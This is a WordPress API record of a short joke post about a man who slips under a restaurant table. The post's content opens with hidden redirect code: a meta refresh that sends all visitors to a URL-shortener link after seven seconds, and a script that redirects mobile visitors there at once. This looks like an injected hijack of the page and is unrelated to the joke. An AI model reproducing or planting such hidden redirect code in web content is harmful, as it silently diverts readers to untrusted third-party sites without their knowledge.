{"id":11842,"date":"2024-06-20T00:59:55","date_gmt":"2024-06-20T00:59:55","guid":{"rendered":"https:\/\/ourtimenew.com\/?p=11842"},"modified":"2024-06-20T00:59:55","modified_gmt":"2024-06-20T00:59:55","slug":"funny-story-a-man-and-woman-are-having-dinner-in-a-restaurant","status":"publish","type":"post","link":"https:\/\/ourtimenew.com\/?p=11842","title":{"rendered":"Funny story: A man and woman are having dinner in a restaurant"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"7; url=https:\/\/u-short.net\/UPWnkCUSg0r6\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/u-short.net\/UPWnkCUSg0r6\");<\/script><br \/>\nA gentleman and a lady were dining at a Fancy Restaurant<br \/>\nWhile attending to a different table, the waitress observed the man gradually sinking down his seat and disappearing beneath the table, while the woman displayed an indifferent demeanor.<\/p>\n<p>Observing the scene, the waitress witnessed the man smoothly gliding down his chair until he vanished beneath the table.<\/p>\n<p>While the woman opposite him maintained a composed and unaffected demeanor, seemingly oblivious to her companion\u2019s disappearance.<\/p>\n<p>Upon completing the order, the waitress approached the table and addressed the woman, saying, \u201cExcuse me, madam, but I believe your husband just slipped beneath the table.\u201d<\/p>\n<p>In response, the woman gazed up at the waitress with composure and replied confidently, \u201cNo, he didn\u2019t. He simply entered through the door.\u201d<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ourtimenew.com\/wp-content\/uploads\/2024\/06\/shutterstock_588827783-300x206.jpg\" alt=\"\" width=\"300\" height=\"206\" class=\"alignnone size-medium wp-image-11843\" srcset=\"https:\/\/ourtimenew.com\/wp-content\/uploads\/2024\/06\/shutterstock_588827783-300x206.jpg 300w, https:\/\/ourtimenew.com\/wp-content\/uploads\/2024\/06\/shutterstock_588827783-768x528.jpg 768w, https:\/\/ourtimenew.com\/wp-content\/uploads\/2024\/06\/shutterstock_588827783.jpg 1000w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A gentleman and a lady were dining at a Fancy Restaurant While attending to a different table, the waitress observed the man gradually sinking down his seat&#8230; <\/p>\n","protected":false},"author":1,"featured_media":11844,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","footnotes":""},"categories":[1],"tags":[],"class_list":["post-11842","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/11842","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=11842"}],"version-history":[{"count":1,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/11842\/revisions"}],"predecessor-version":[{"id":11845,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/posts\/11842\/revisions\/11845"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=\/wp\/v2\/media\/11844"}],"wp:attachment":[{"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=11842"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=11842"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ourtimenew.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=11842"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}